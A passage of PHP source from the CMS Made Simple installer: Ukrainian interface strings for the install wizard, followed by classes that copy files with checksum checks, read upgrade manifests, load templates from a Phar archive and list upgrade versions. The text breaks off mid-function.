$lang['finished_custom_install_msg'] = 'Завершено! Будь ласка, відвідайте свій веб-сайт і увійдіть до адмін. панелі.';
$lang['finished_custom_upgrade_msg'] = 'Завершено! Будь ласка, відвідайте адмін. панель CMSMS та фронтенд, щоб переконатися, що все працює правильно.<br/><strong>Підказка:</strong>Зараз ідеальний час для створення ще одної резервної копії.';
$lang['finished_freshen_msg'] = 'Вашу систему поновлено! Основні файли оновлено та створено новий файл конфігурації. Тепер ви можете <a href="%s">відвідати ваш веб-сайт</a> або увійти до <a href="%s">адмін. панелі CMSMS</a>.';
$lang['finished_install_msg'] = 'Завершено! Тепер ви можете <a href="%s">відвідати ваш веб-сайт</a> або увійти до <a href="%s">адмін. панелі CMSMS</a>.';
$lang['finished_upgrade_msg'] = 'Завершено! Будь ласка, відвідайте <a href="%s">фронтенд веб-сайту</a> та <a href="%s">адмін. панель</a>, щоб переконатися, що все працює правильно. Можливо, вам також доведеться оновити деякі сторонні модулі.<br/><strong>Підказка:</strong>Не забудьте створити ще одну резервну копію після переконання, що все працює добре.';
$lang['freshen'] = 'Поновити (полагодити) встановлену систему';
$lang['func_json'] = 'Перевірка функції кодування та декодування json';
$lang['func_md5'] = 'Перевірка функції md5';
$lang['func_tempnam'] = 'Перевірка функції tempnam';
$lang['func_gzopen'] = 'Перевірка функції gzopen';
$lang['func_ziparchive'] = 'Перевірка функції ziparchive';
$lang['gd_version'] = 'Версія GD';
$lang['goback'] = 'Назад';
$lang['info_addlanguages'] = 'Виберіть мови (на додачу до англійської) для інсталяції. <strong>Примітка:</strong> не всі переклади завершено, але українська точно є!.';
$lang['info_adminaccount'] = 'Будь ласка, надайте облікові дані для першого користувача-адміністратора. Цей обліковий запис буде мати доступ до всіх функцій адмін. панелі CMSMS.';
$lang['info_advanced'] = 'Розширений режим дозволяє використовувати більше параметрів у процедурі інсталяції.';
$lang['info_dbinfo'] = 'CMS Made Simple зберігає великий обсяг даних у базі даних. З\'єднання з базою даних є обов\'язковим. Окрім того, користувач бази даних повинен мати ВСІ ДОЗВОЛИ в зазначеній базі даних, щоб дозволити створення, знищення та зміну таблиць, індексів та виводу даних.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED - параметр звітування про помилки PHP, який вказує на те, що попередження повинні відображатися щодо коду, який використовує застарілі методи. Незважаючи на те, що ядро CMSMS намагається перевіряти, чи ми більше не використовуємо застарілі методи, деякі модулі цього не роблять. Ми рекомендуємо вимкнути цей параметр у конфігурації PHP';
$lang['info_errorlevel_estrict'] = 'E_STRICT - параметр для звітування про помилки PHP, який вказує на те, що слід поважати строгі стандарти кодування. Хоча основне ядро CMSMS намагається відповідати стандартам E_STRICT, деякі модулі цього не роблять. Ми рекомендуємо вимкнути цей параметр у конфігурації PHP';
$lang['info_installcontent'] = 'За замовчуванням цей інсталятор створює серію зразків сторінок, таблиць стилів і шаблонів у CMSMS. Зразок сторінки надає розгорнуту інформацію та поради, які допоможуть створити веб-сайти за допомогою CMSMS, його корисно прочитати. Однак, якщо ви вже знайомі з CMS Made Simple, вимкнувши цю опцію, ви отримаєте мінімальний набір шаблонів, таблиць стилів та вміст сторінок.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir увімкнено у вашій конфігурації PHP. Ми не змогли правильно оцінити можливість використання сесій. Однак, перехід до цього моменту в процесі інсталяції, ймовірно, вказує на те, що сесії працюють нормально.';
$lang['info_pwd_writable'] = 'Ця програма потребує дозвіл на запис до поточної робочої теки';
$lang['info_queryvar'] = 'Змінна запиту (GET) використовується всередині CMSMS для ідентифікації запитуваної сторінки. У більшості випадків вам не потрібно буде це коригувати.';
$lang['info_sitename'] = 'Назва веб-сайту використовується в шаблонах за замовчуванням як частина заголовка. Будь ласка, введіть людську читабельну назву для веб-сайту';
$lang['info_timezone'] = 'Інформація про часовий пояс потрібна для показу обчислень дати та часу. Будь ласка, виберіть часовий пояс сервера';
$lang['ini_set'] = 'Перевірка, чи можемо ми змінити налаштування INI';
$lang['install'] = 'Інсталювати';
$lang['install_attachstylesheets'] = 'Приєднати таблиці стилів до тем';
$lang['install_backupconfig'] = 'Резервне копіювання файлу конфігурації';
$lang['install_createassets'] = 'Створити структуру теки/assets';
$lang['install_created_index'] = 'Створено індекс %s ...%s';
$lang['install_create_tables'] = 'Створити таблиці бази даних';
$lang['install_createconfig'] = 'Створити новий файл конфігурації';
$lang['install_createcontentpages'] = 'Створити сторінки за замовчуванням';
$lang['install_created_table'] = 'Створено таблицю %s: ....%s';
$lang['install_createtablesindexes'] = 'Створення таблиць та індексів';
$lang['install_createtmpdirs'] = 'Створити тимчасові теки';
$lang['install_creating_index'] = 'Створено індекс %s';
$lang['install_default_collections'] = 'Інсталювати колекції за замовчуванням';
$lang['install_defaultcontent'] = 'Інсталювати вміст за замовчуванням';
$lang['install_detectlanguages'] = 'Виявити встановлені мови';
$lang['install_dropping_tables'] = 'Знищення таблиць';
$lang['install_dummyindexhtml'] = 'Створити файли dummy index.html';
$lang['install_extractfiles'] = 'Розпакувати файли з архіву';
$lang['install_initevents'] = 'Створити події';
$lang['install_initsitegroups'] = 'Створити початкові групи';
$lang['install_initsiteperms'] = 'Встановити початкові дозволи';
$lang['install_initsiteprefs'] = 'Встановити початкові параметри сайту';
$lang['install_initsiteusers'] = 'Створити початковий обліковий запис користувача';
$lang['install_initsiteusertags'] = 'Стартовий набір UDT (теґи користувача)';
$lang['install_module'] = 'Інсталювати модуль %s';
$lang['install_modules'] = 'Інсталювати доступні модулі';
$lang['install_passwordsalt'] = 'Встановити фразу шифру для паролів (password salt)';
$lang['install_requireddata'] = 'Встановити необхідні початкові дані';
$lang['install_schema'] = 'Створити схему бази даних';
$lang['install_setschemaver'] = 'Встановити схему версії';
$lang['install_setsequence'] = 'Скинути таблиці послідовностей (sequence tables)';
$lang['install_setsitename'] = 'Встановити назву сайту';
$lang['install_stylesheets'] = 'Створити таблиці стилів за замовчуванням';
$lang['install_templates'] = 'Створити шаблони за замовчуванням';
$lang['install_templatetypes'] = 'Створити стандартні типи шаблонів';
$lang['install_update_sequences'] = 'Оновити таблиці послідовностей (sequence tables)';
$lang['install_updatehierarchy'] = 'Оновити позиції ієрархії вмісту';
$lang['install_updateseq'] = 'Оновити послідовність для %s';
$lang['installer_ver'] = 'Версія інсталятора';
$lang['legend'] = 'Легенда';
$lang['magic_quotes_runtime'] = 'Переконайтеся, що magic quotes вимкнено';
$lang['max_execution_time'] = 'Перевірка максимального часу виконання PHP скрипта';
$lang['meaning'] = 'Значення';
$lang['memory_limit'] = 'Перевірка, чи достатній ліміт пам\'яті PHP';
$lang['msg_clearedcache'] = 'Кеш сервера очищено';
$lang['msg_configsaved'] = 'Існуючий файл конфігурації збережено в %s';
$lang['msg_upgrade_module'] = 'Оновлення версії модуля %s';
$lang['msg_upgrademodules'] = 'Оновлення версії модулів';
$lang['msg_yourvalue'] = 'У вас зараз: %s';
$lang['multibyte_support'] = 'Перевірити наявність підтримки multibyte';
$lang['next'] = 'Продовжити';
$lang['no'] = 'Ні';
$lang['none'] = 'Жоден';
$lang['open_basedir'] = 'Обмеження open_basedir';
$lang['open_basedir_session_save_path'] = 'open_basedir включено. Неможливо перевірити шлях до збереження сесій.';
$lang['output_buffering'] = 'Переконайтеся, що буфер виводу активовано';
$lang['pass_config_writable'] = 'Процес HTTP має дозвіл на запис до файлу config.php';
$lang['pass_database_support'] = 'Знайдено принаймні один сумісний драйвер бази даних';
$lang['pass_func_json'] = 'Виявлено функцію json';
$lang['pass_func_md5'] = 'Виявлено функцію md5';
$lang['pass_func_tempnam'] = 'Функція tempnam існує';
$lang['pass_multibyte_support'] = 'Здається, підтримку Multibyte вимкнено';
$lang['pass_php_version'] = 'На даний момент налаштована версія PHP не відповідає мінімальним вимогам. Потрібно, як мінімум, PHP %s, хоча ми рекомендуємо %s або більше';
$lang['pass_pwd_writable'] = 'Процес HTTP може записувати у теку призначення. Це необхідно для розпакування файлів';
$lang['password'] = 'Пароль';
$lang['ph_sitename'] = 'Введіть назву сайту';
$lang['php_version'] = 'Версія PHP';
$lang['post_max_size'] = 'Перевірка максимальної кількості даних, які можна опублікувати в одному запиті';
$lang['prompt_addlanguages'] = 'Додаткові мови';
$lang['prompt_createtables'] = 'Створити таблиці бази даних';
$lang['prompt_dbhost'] = 'Інформація про ім\'я сервера бази даних';
$lang['prompt_dbinfo'] = 'Інформація про базу даних';
$lang['prompt_dbname'] = 'Назва бази даних';
$lang['prompt_dbpass'] = 'Пароль';
$lang['prompt_dbport'] = 'Номер порту бази даних';
$lang['prompt_dbprefix'] = 'Префікс назви таблиць бази даних';
$lang['prompt_dbtype'] = 'Тип бази даних';
$lang['prompt_dbuser'] = 'Ім\'я користувача';
$lang['prompt_dir'] = 'Тека для інсталяції';
$lang['prompt_installcontent'] = 'Встановити зразки вмісту';
$lang['prompt_queryvar'] = 'Змінна запиту (GET)';
$lang['prompt_sitename'] = 'Назва веб-сайту';
$lang['prompt_timezone'] = 'Часовий пояс сервера';
$lang['pwd_writable'] = 'Тека доступна для запису';
$lang['queue_for_upgrade'] = 'Додано в чергу сторонній модуль %s для оновлення на наступному кроці.';
$lang['readme_uc'] = 'README';
$lang['register_globals'] = 'Переконайтеся, що "register globals" вимкнено';
$lang['remote_url'] = 'Перевірте, чи можемо ми робити вихідні HTTP-з\'єднання';
$lang['repeatpw'] = 'Повторіть пароль';
$lang['reset_site_preferences'] = 'Скиданути деякі налаштування сайту';
$lang['reset_user_settings'] = 'Скинути параметри користувача';
$lang['retry'] = 'Повторити спробу';
$lang['safe_mode'] = 'Перевірка, чи "safe mode" вимкнено';
$lang['saltpasswords'] = 'Зашифрувати паролі (Salt Passwords)';
$lang['select_language'] = 'Перше, що ми попросимо зробити - це вибрати бажану мову зі списку нижче. Це для зручності під час процесу інсталяції, але це не вплине на вашу інсталяцію CMSMS.';
$lang['send_admin_email'] = 'Надіслати дані облікового запису адміністратора електронною поштою';
$lang['session_capabilities'] = 'Перевірка належних можливостей сесій (сесії використовують файли cookie і шлях до збереження сесії доступний для запису, тощо)';
$lang['session_save_path_exists'] = 'Session_save_path існує';
$lang['session_save_path_writable'] = 'Session_save_path доступний для запису';
$lang['session_use_cookies'] = 'Переконайтеся, що сесії PHP використовують cookies';
$lang['sometests_failed'] = 'Ми провели численні перевірки вашого поточного веб-середовища. Хоча не було виявлено жодних критичних проблем, ми рекомендуємо виправити наступні елементи, перш ніж продовжувати.';
$lang['step1_advanced'] = 'Розширений режим';
$lang['step1_destdir'] = 'Вибрати теку';
$lang['step1_info_destdir'] = '<strong>Попередження:</strong> Ця програма може інсталювати або оновити декілька систем CMS Made Simple. Важливо, щоб ви вибрали правильну теку для інсталяції або оновлення.';
$lang['step1_language'] = 'Вибрати мову';
$lang['step1_title'] = 'Вибрати мову';
$lang['step2_cmsmsfound'] = 'найдено вже встановлену систему CMS Made Simple . Можна оновити цю систему. Проте, перш ніж продовжувати, переконайтеся, що у вас є поточна резервна копія всіх файлів та бази даних';
$lang['step2_cmsmsfoundnoupgrade'] = 'Хоча було знайдено вже встановлену систему CMS Made Simple, неможливо оновити цю версію за допомогою цієї програми. Версія може бути занадто старою. Спробуйте спочатку оновити до проміжної версії.';
$lang['step2_confirminstall'] = 'Ви впевнені, що хочете інсталювати CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Ви впевнені, що хочете оновити CMS Made Simple';
$lang['step2_errorsamever'] = 'Схоже, що вибрана тека містить систему CMSMS з тією ж версією, яка включена в цей скрипт. Продовження поновить/полагодить систему.';
$lang['step2_errortoonew'] = 'Схоже, що вибрана тека містить систему CMSMS з версією новішою, ніж в цьому скрипті інсталяції. Неможливо продовжити';
$lang['step2_info_freshen'] = 'Поновлення/полагодження системи передбачає заміну всіх основних файлів і відтворення конфігурації. Вам буде запропоновано основні базові налаштування, однак база даних буде нетронута.';
$lang['step2_installdate'] = 'Орієнтовна дата системи';
$lang['step2_install_dirnotempty2'] = 'Ця тека вже містить деякі файли та/або підтеки. Хоча сюди й можна інсталювати CMSMS, це може призвести до пошкодження існуючої програми. Будь ласка, двічі перевірте вміст цієї теки. Для довідкових цілей деякі файли вказані нижче. Переконайтеся, що все правильно.';
$lang['step2_hdr_upgradeinfo'] = 'Інформація про версію';
$lang['step2_info_upgradeinfo'] = 'Нижче наведено доступні відомості про випуск та журнал змін для кожного випуску. Кнопки нижче відобразять детальну інформацію про те, що змінилося в кожній версії CMS Made Simple. У кожній версії можуть з\'явитися додаткові вказівки чи попередження, які можуть вплинути на процес оновлення.';
$lang['step2_minupgradever'] = 'Мінімальна версія, з якої ця програма може оновити: %s. Вам може знадобитися оновити свою програму до нової версії поетапно, використовуючи інший спосіб, перш ніж завершити процес оновлення. Перш ніж використовувати будь-який метод оновлення, будь ласка, переконайтесь, що у вас є повноцінна підтверджена резервна копія.';
$lang['step2_nocmsms'] = 'У цій теці ми не знайшли систему CMS Made Simple. Схоже, що це нова інсталяція';
$lang['step2_nofiles'] = 'За бажанням, основні файли CMSMS не будуть оброблятися під час цього процесу';
$lang['step2_passed'] = 'Пройдено';
$lang['step2_pwd'] = 'Ваш поточна робоча тека';
$lang['step2_schemaver'] = 'Версія схеми бази даних';
$lang['step2_version'] = 'Ваша версія';
$lang['step3_failed'] = 'Цей пакет виконав численні перевірки вашого середовища PHP, і одну або декілька перевірок не пройдено. Вам потрібно буде виправити ці помилки у вашій конфігурації, перш ніж продовжувати. Після того, як ви виправите помилки, натисніть & quot;Повторити спробу" нижче.';
$lang['step3_passed'] = 'Цей пакет виконав численні перевірки вашого середовища PHP, і всі вони пройдені. Це чудова новина! Хоча це не є всеохоплюючою перевіркою, ви не повинні зіткнутися з жодними труднощами під час роботи основної системи CMSMS.';
$lang['step9_removethis'] = '<strong>Попередження:</strong> З міркувань безпеки важливо видалити цей скрипт інсталяції з теки, доступної для перегляду браузером, як тільки ви підтвердите, що операція виконана.';
$lang['symbol'] = 'Символ';
$lang['social_message'] = 'Я успішно інсталював CMS Made Simple!';
$lang['test_failed'] = 'Необхідну перевірку не пройдено';
$lang['test_passed'] = 'Перевірку пройдено <em>(пройдені перевірки відображаються лише в розширеному режимі)</em>';
$lang['test_warning'] = 'Параметр перевищує необхідне значення, але нижче рекомендованого, або ... <br />Можливості, які можуть знадобитися для деяких додаткових функцій, недоступні';
$lang['th_status'] = 'Статус';
$lang['th_testname'] = 'Перевірка';
$lang['th_value'] = 'Значення';
$lang['title_error'] = 'Х\'юстон, у нас проблема!';
$lang['title_step2'] = 'Крок 2 - Виявлення існуючого програмного забезпечення';
$lang['title_step3'] = 'Крок 3 - Перевірки';
$lang['title_step4'] = 'Крок 4 - Базові налаштування';
$lang['title_step5'] = 'Крок 5 - Інформація про обліковий запис адміністратора';
$lang['title_step6'] = 'Крок 6 - Налаштування сайту';
$lang['title_step7'] = 'Крок 7 - Інсталяція програмних файлів';
$lang['title_step8'] = 'Крок 8 - Робота бази даних';
$lang['title_step9'] = 'Крок 9 - Завершення';
$lang['title_welcome'] = 'Ласкаво просимо!';
$lang['title_forum'] = 'Форум підтримки';
$lang['title_docs'] = 'Офіційна документація';
$lang['title_api_docs'] = 'Офіційна документація API';
$lang['to'] = 'до';
$lang['title_share'] = 'Поділитися своїм досвідом з друзями.';
$lang['tmpfile'] = 'Перевірка роботи tmpfile()';
$lang['tmp_dirs_empty'] = 'Переконайтеся, що тимчасові теки порожні або не існують';
$lang['upgrade'] = 'Оновити версію';
$lang['upgrade_deleteoldevents'] = 'Видалення старих подій';
$lang['upgrading_schema'] = 'Оновлення схеми бази даних';
$lang['upload_max_filesize'] = 'Перевірка максимального розміру завантажених файлів';
$lang['username'] = 'Ім\'я користувача';
$lang['warn_disable_functions'] = 'Примітка: одну або декілька основних функцій PHP відключено. Це може негативно вплинути на вашу систему CMSMS, зокрема на сторонні модулі. Будь ласка, уважно стежте за журналом помилок. Ваші вимкнені функції: <br /><br />%s';
$lang['warn_max_execution_time'] = 'Хоч ваш максимальний час виконання %s відповідає або перевищує мінімальне значення %s, рекомендуємо збільшити його до %s або більше';
$lang['warn_memory_limit'] = 'Ваш ліміт пам\'яті %s перевищує мінімальне значення %s. Однак рекомендується значення %s';
$lang['warn_open_basedir'] = 'open_basedir увімкнено у вашій конфігурації php. Хоч ви можете продовжувати, CMSMS не підтримуватиме інсталяцію з обмеженнями open_basedir.';
$lang['warn_post_max_size'] = 'Ваш максимальний розмір відправки (post_max_size) %s перевищує мінімальне значення %s, однак рекомендується %s. Будь ласка, переконайтеся, що це значення більше, ніж upload_max_filesize';
$lang['warn_tests'] = '<strong>Примітка:</strong> Передача всіх цих перевірок повинна забезпечити правильність функціонування CMSMS для більшості сайтів. Але, оскільки сайт зростає та додаються нові можливості, ці мінімальні значення можуть стати недостатніми. Крім того, сторонні модулі можуть мати додаткові вимоги для правильного функціонування.';
$lang['warn_upload_max_filesize'] = 'Хоча ваш параметр %s є достатнім, ми рекомендуємо збільшити параметр upload_max_filesize у PHP, принаймні до %s';
$lang['welcome_message'] = 'Ласкаво просимо! Це автоматичний механізм інсталяції CMS Made Simple. Цей пакет дозволить вам швидко і легко підтвердити, що ваш веб-хост сумісний з CMSMS, а також інсталювати або оновити до останньої версії CMS Made Simple.<br />Ви будете в захваті!';
$lang['wizard_step1'] = 'Ласкаво просимо!';
$lang['wizard_step2'] = 'Виявити існуюче програмне забезпечення';
$lang['wizard_step3'] = 'Тести на сумісность';
$lang['wizard_step4'] = 'Налаштування';
$lang['wizard_step5'] = 'Інформація про обліковий запис адміністратора';
$lang['wizard_step6'] = 'Налаштування сайту';
$lang['wizard_step7'] = 'Файли';
$lang['wizard_step8'] = 'Робота бази даних';
$lang['wizard_step9'] = 'Завершено';
$lang['xml_functions'] = 'Перевірка функції XML';
$lang['yes'] = 'Так';
?><?php

namespace cms_autoinstaller;

abstract class filehandler
{
  private $_destdir;
  private $_output_fn;
  private $_languages;
  
  /**
   * @throws \Exception
   */
  protected function get_config()
  {
    return \__appbase\get_app()->get_config();
  }

  public function set_destdir($destdir)
  {
    if( !\is_dir($destdir) ) throw new \RuntimeException(\__appbase\lang('error_dirnotvalid', $destdir));
    if( !\is_writable($destdir) ) throw new \RuntimeException(\__appbase\lang('error_dirnotvalid', $destdir));
    $this->_destdir = $destdir;
  }

  public function get_destdir()
  {
    if( !$this->_destdir ) throw new \RuntimeException(\__appbase\lang('error_nodestdir'));
    return $this->_destdir;
  }

  public function set_languages($lang)
  {
    if( !\is_array($lang) ) return;
    $this->_languages = $lang;
  }

  public function get_languages()
  {
    return $this->_languages;
  }

  public function set_output_fn($fn)
  {
    if( !\is_callable($fn) ) throw new \RuntimeException(\__appbase\lang('error_internal', 1102));
    $this->_output_fn = $fn;
  }

  public function output_string($txt)
  {
    if( $this->_output_fn ) \call_user_func($this->_output_fn, $txt);
  }
  
  /**
   * @throws \Exception
   */
  protected function is_excluded($filespec)
  {
    $filespec = \trim($filespec);
    if( !$filespec ) throw new \RuntimeException(\__appbase\lang('error_internal', 1101));
    $config = $this->get_config();
    if( !isset($config['install_excludes']) ) return FALSE;

    $excludes = \explode('||', $config['install_excludes']);
    foreach( $excludes as $excl ) {
      if( \preg_match($excl, $filespec) ) return TRUE;
    }
  }

  protected function dir_exists($filespec)
  {
    $filespec = \trim($filespec);
    if( !$filespec ) throw new \Exception(\__appbase\lang('error_invalidparam','filespec'));

    $dn = \dirname($filespec);
    $tmp = $this->get_destdir()."/$dn";
    return \is_dir($tmp);
  }

  protected function create_directory($filespec)
  {
    $filespec = \trim($filespec);
    if( !$filespec ) throw new \Exception(\__appbase\lang('error_invalidparam','filespec'));

    $dn = \dirname($filespec);
    $tmp = $this->get_destdir()."/$dn";
    return @\mkdir($tmp, 0777, TRUE);
  }

  protected function is_imagefile($filespec)
  {
      // this method uses (ugly) extensions because we cannot rely on finfo_open being available.
      $image_exts = ['bmp','jpg','jpeg','gif','png','svg','webp','ico'];
      $ext = \strtolower(\substr(\strrchr($filespec, '.'), 1));
      return \in_array($ext, $image_exts);
  }
  
  /**
   * @throws \Exception
   */
  protected function is_langfile($filespec)
  {
    $filespec = \trim($filespec);
    if( !$filespec ) throw new \RuntimeException(\__appbase\lang('error_invalidparam', 'filespec'));

    if( $this->is_imagefile($filespec) ) return FALSE;
    $bn = \basename($filespec);
    $dn = \dirname($filespec);
    $fnmatch = 0;
    $fnmatch = $fnmatch || \preg_match('/^[a-zA-Z]{2}_[a-zA-Z]{2}\.php$/', $bn);
    $fnmatch = $fnmatch || \preg_match('/^[a-zA-Z]{2}_[a-zA-Z]{2}\.nls\.php$/', $bn);
    if( $fnmatch ) return \substr($bn, 0, strpos($bn, '.'));

    $nls = \__appbase\get_app()->get_nls();
    if( !\is_array($nls) ) return FALSE; // problem

    $bn = \substr($bn, 0, strpos($bn, '.'));
    $last_dn = \basename($dn);
    foreach( $nls['alias'] as $alias => $code ) {
      if( $bn == $alias ) return $code;
    }
    foreach( $nls['htmlarea'] as $code => $short ) {
      if( $bn == $short ) return $code;
    }

    return FALSE;
  }
  
  /**
   * @throws \Exception
   */
  protected function is_accepted_lang($filespec)
  {
    $res = $this->is_langfile($filespec);
    if( !$res ) return FALSE;

    $langs = $this->get_languages();
    if(!\is_array($langs) || 0 == \count($langs)) return TRUE;

    return \in_array($res, $langs);
  }

  abstract public function handle_file($filespec,$srcspec,\PharFileInfo $fi);
}

?><?php

namespace cms_autoinstaller;

class install_filehandler extends \cms_autoinstaller\filehandler
{
  public function handle_file($filespec,$srcspec,\PharFileInfo $fi)
  {
    if( $this->is_excluded($filespec) ) return;
    if( $this->is_langfile($filespec) ) {
      if( !$this->is_accepted_lang($filespec) ) return;
    }

    if( !$this->dir_exists($filespec) ) $this->create_directory($filespec);

    $destname = $this->get_destdir().$filespec;
    if(\file_exists($destname) && !\is_writable($destname) ) throw new \RuntimeException(\__appbase\lang('error_overwrite', $filespec));

    $cksum = \md5_file($srcspec);
    @\copy($srcspec, $destname);
    $cksum2 = \md5_file($destname);
    if( $cksum != $cksum2 ) throw new \RuntimeException(\__appbase\lang('error_checksum', $filespec));

    $this->output_string(\__appbase\lang('file_installed',$filespec));
  }
}

?>
<?php

namespace cms_autoinstaller;

class manifest_reader
{
  private $_filename;
  private $_compressed;
  private $_generated;
  private $_from_version;
  private $_from_name;
  private $_to_version;
  private $_to_name;
  private $_has_read = FALSE;
  private $_added    = [];
  private $_changed  = [];
  private $_deleted  = [];
  
  public function __construct($dir)
  {
    if( !\is_dir($dir) )
    {
      throw new \RuntimeException(\__appbase\lang('error_internal', 'mr100'));
    }
    
    $fn = "$dir/MANIFEST.DAT.gz";
    if(\file_exists($fn))
    {
      $this->_filename   = $fn;
      $this->_compressed = TRUE;
    }
    else
    {
      $fn = "$dir/MANIFEST.DAT";
      if(\file_exists($fn))
      {
        $this->_filename   = $fn;
        $this->_compressed = FALSE;
      }
      else
      {
        throw new \Exception(\__appbase\lang('error_internal', 'mr101'));
      }
    }
  }
  
  protected function handle_header($line)
  {
    $cols = \explode(':',$line);
    foreach( $cols as &$col ) {
      $col = \trim($col);
    }
    if(2 != \count($cols))
    {
      throw new \RuntimeException(\__appbase\lang('error_internal', 'mr105'));
    }
    
    switch( $cols[0] ) {
      case 'MANIFEST_GENERATED':
        $this->_generated = (int)$cols[1];
      break;
      case 'MANIFEST FROM VERSION':
        $this->_from_version = $cols[1];
      break;
      case 'MANIFEST FROM NAME':
        $this->_from_name = $cols[1];
      break;
      case 'MANIFEST TO VERSION':
        $this->_to_version = $cols[1];
      break;
      case 'MANIFEST TO NAME':
        $this->_to_name = $cols[1];
      break;
    }
  }
  
  protected function handle_added($fields)
  {
    $this->_added[] = ['filename' => $fields[2], 'checksum' => $fields[1]];
  }
  
  protected function handle_changed($fields)
  {
    $this->_changed[] = ['filename' => $fields[2], 'checksum' => $fields[1]];
  }
  
  protected function handle_deleted($fields)
  {
    $this->_deleted[] = ['filename' => $fields[2], 'checksum' => $fields[1]];
  }
  
  protected function handle_line($line)
  {
    if( !$line ) return;
    if( \__appbase\startswith($line,'MANIFEST') ) return $this->handle_header($line);
    
    $fields = \explode(' :: ',$line);
    if(3 != count($fields)) throw new \RuntimeException(\__appbase\lang('error_internal', 'mr103'));
    
    switch( $fields[0] ) {
      case 'ADDED':
        return $this->handle_added($fields);
      break;
      case 'CHANGED':
        return $this->handle_changed($fields);
      break;
      case 'DELETED':
        return $this->handle_deleted($fields);
      break;
      default:
        throw new \Exception(\__appbase\lang('error_internal','mr104'));
    }
  }
  
  protected function read()
  {
    if( !$this->_has_read ) {
      $fopen = $fclose = $fgets = $feof = null;
      if( $this->_compressed ) {
        $fopen = 'gzopen';
        $fclose = 'gzclose';
        $fgets = 'gzgets';
        $feof = 'gzeof';
      }
      else {
        $fopen = 'fopen';
        $fclose = 'fclose';
        $fgets = 'fgets';
        $feof = 'feof';
      }
      
      // copy the manifest file to a temporary location
      $tmpdir = \__appbase\get_app()->get_tmpdir();
      $tmpname = \tempnam($tmpdir, 'man');
      @\copy($this->_filename, $tmpname);
      $fh = $fopen($tmpname,'r');
      if( !$fh )  {
        throw new \RuntimeException(\__appbase\lang('error_internal', 'mr102'));
      }
      while( !$feof($fh) ) {
        $line = $fgets($fh);
        $line = \trim($line);
        $this->handle_line($line);
      }
      $fclose($fh);
      $this->_has_read = true;
    }
  }
  
  public function get_generated()
  {
    $this->read();
    return $this->_generated;
  }
  
  public function to_version()
  {
    $this->read();
    return $this->_to_version;
  }
  
  public function to_name()
  {
    $this->read();
    return $this->_to_name;
  }
  
  public function from_version()
  {
    $this->read();
    return $this->_from_version;
  }
  
  public function from_name()
  {
    $this->read();
    return $this->_from_name;
  }
  
  public function get_added()
  {
    $this->read();
    return $this->_added;
  }
  
  public function get_changed()
  {
    $this->read();
    return $this->_changed;
  }
  
  public function get_deleted()
  {
    $this->read();
    return $this->_deleted;
  }
  
} // end of class
?>
<?php
/**
 * Class for phar resource
 * currently only used for debugging purposes
 * @package cms_autoinstaller
 */

namespace cms_autoinstaller;

use __appbase\app;
use __appbase\cms_smarty;
use Phar;
use PharException;
use Smarty_Resource_Custom;
use function __appbase\get_app;

class smarty_phar_resource  extends Smarty_Resource_Custom
{
  
  /**
   * Fetch a template and its modification time from database
   *
   * @param string  $name   template name
   * @param string  $source template source
   * @param integer $mtime  template modification timestamp (epoch)
   *
   * @return void
   * @throws \Exception
   */
  protected function fetch($name, &$source, &$mtime)
  {
    $OS = \PHP_OS;
    
    // Path to the Phar archive
    $pharPath = Phar::running();
    
    
    if('WINNT' === $OS || 'WIN32' === $OS)
    {
      # we are on windows
      // Create a temporary directory for extraction
      $tempDir = \sys_get_temp_dir() . '/phar_extraction_' . \uniqid('', FALSE);
      
      if(!\mkdir($tempDir) && !\is_dir($tempDir))
      {
        throw new \RuntimeException(\sprintf('Directory "%s" was not created', $tempDir));
      }
      
      $phar = new Phar($pharPath);
      
      try
      {
        // Extract files from the Phar archive to the temporary directory
        $phar->extractTo($tempDir, 'app/templates/'. $name, TRUE);
        #$phar->extractTo($tempDir);
      }
      catch (PharException $e)
      {
        // Handle any exceptions that occur during extraction
        echo 'Error extracting files: ' . $e->getMessage();
      }
      
      // Check if the extracted files exist
      $tplFile = $tempDir . '/app/templates/' . $name;
      
      if(\file_exists($tplFile))
      {
        $files[] = $tplFile;
      }
      else
      {
        // The file could not be extracted
        echo "Failed to extract template file: $tplFile";
      }
      
      foreach( $files as $one )
      {
        if( \file_exists($one) )
        {
          $source = @\file_get_contents($one);
          $mtime = @\filemtime($one);
          return;
        }
      }
    }
    else
    {
      # we are on linux
      $source = cms_smarty::get_instance()->fetch($name);
    }
    
    // Clean up: Remove the temporary directory
//    if (\is_dir($tempDir)) {
//      // Recursively remove the temporary directory and its contents
//      $files = new \RecursiveIteratorIterator(
//        new \RecursiveDirectoryIterator($tempDir, \RecursiveDirectoryIterator::SKIP_DOTS),
//        \RecursiveIteratorIterator::CHILD_FIRST
//      );
//      foreach ($files as $file) {
//        if ($file->isDir()) {
//          \rmdir($file->getRealPath());
//        } else {
//          \unlink($file->getRealPath());
//        }
//      }
//      \rmdir($tempDir);
//    }
  
  }
}

?><?php

namespace cms_autoinstaller;

final class utils
{
  private function __construct() {}
  
  // get the list of versions we can upgrade from.
  public static function get_upgrade_versions()
  {
    $app                 = \__appbase\get_app();
    $app_config          = $app->get_config();
    
    $min_upgrade_version = $app_config['min_upgrade_version'];
    
    if(!$min_upgrade_version)
    {
      throw new \Exception(\__appbase\lang('error_invalidconfig'));
    }
    
    $dir = $app->get_appdir() . '/upgrade';
    if(!\is_dir($dir))
    {
      throw new \Exception(\__appbase\lang('error_internal', 'u100'));
    }
    
    $dh       = \opendir($dir);
    $versions = [];
    if(!$dh)
    {
      throw new \Exception(\__appbase\lang('error_internal', 712));
    }
    while(($file = \readdir($dh)) !== FALSE)
    {
      if($file == '.' || $file == '..')
      {
        continue;
      }
      if(
        \is_dir($dir . '/' . $file) &&
        (\is_file("$dir/$file/MANIFEST.DAT.gz") || \is_file("$dir/$file/MANIFEST.DAT") ||
         \is_file("$dir/$file/upgrade.php"))
      )
      {
        if(\version_compare($min_upgrade_version, $file) <= 0)
        {
          $versions[] = $file;
        }
      }
    }
    \closedir($dh);
    if(\count($versions))
    {
      \usort($versions, 'version_compare');
      
      return $versions;
    }
  }
  
  public static function get_upgrade_changelog($version)
  {
    // it is not an error to not have a changelog file
    $app = \__appbase\get_app();
    $dir = $app->get_appdir() . "/upgrade/$version";
    
    if(!\is_dir($dir))
    {
      throw new \Exception(\__appbase\lang('error_internal', 'u100'));
    }
    
    $files = ['CHANGELOG.txt', 'CHANGELOG.TXT', 'changelog.txt'];
    
    foreach($files as $fn)
    {
      if(\is_file("$dir/$fn"))
      {
